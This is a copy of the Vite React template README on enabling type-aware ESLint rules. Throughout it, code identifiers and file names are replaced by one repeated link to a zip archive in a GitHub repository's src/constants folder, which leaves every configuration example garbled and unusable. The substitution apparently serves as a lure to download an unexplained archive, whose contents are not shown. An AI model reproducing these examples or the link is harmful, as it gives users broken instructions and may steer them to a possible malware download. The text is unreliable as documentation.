This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules.
Currently, two official plugins are available:
- @vitejs/plugin-react uses Babel for Fast Refresh
- @vitejs/plugin-react-swc uses SWC for Fast Refresh
If you are developing a production application, we recommend updating the configuration to enable type aware lint rules:
- Configure the top-level
parserOptionsproperty like this:
export default https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip({
languageOptions: {
// other options...
parserOptions: {
project: ['https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip', 'https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip'],
tsconfigRootDir: https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip,
},
},
})- Replace
https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.ziptohttps://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.ziporhttps://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip - Optionally add
https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip - Install eslint-plugin-react and update the config:
// https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip
import react from 'eslint-plugin-react'
export default https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip({
// Set the react version
settings: { react: { version: '18.3' } },
plugins: {
// Add the react plugin
react,
},
rules: {
// other rules...
// Enable its recommended rules
https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip,
https://github.com/marffaaa/project-react/raw/refs/heads/project/src/constants/project-react-v2.4.zip['jsx-runtime'].rules,
},
})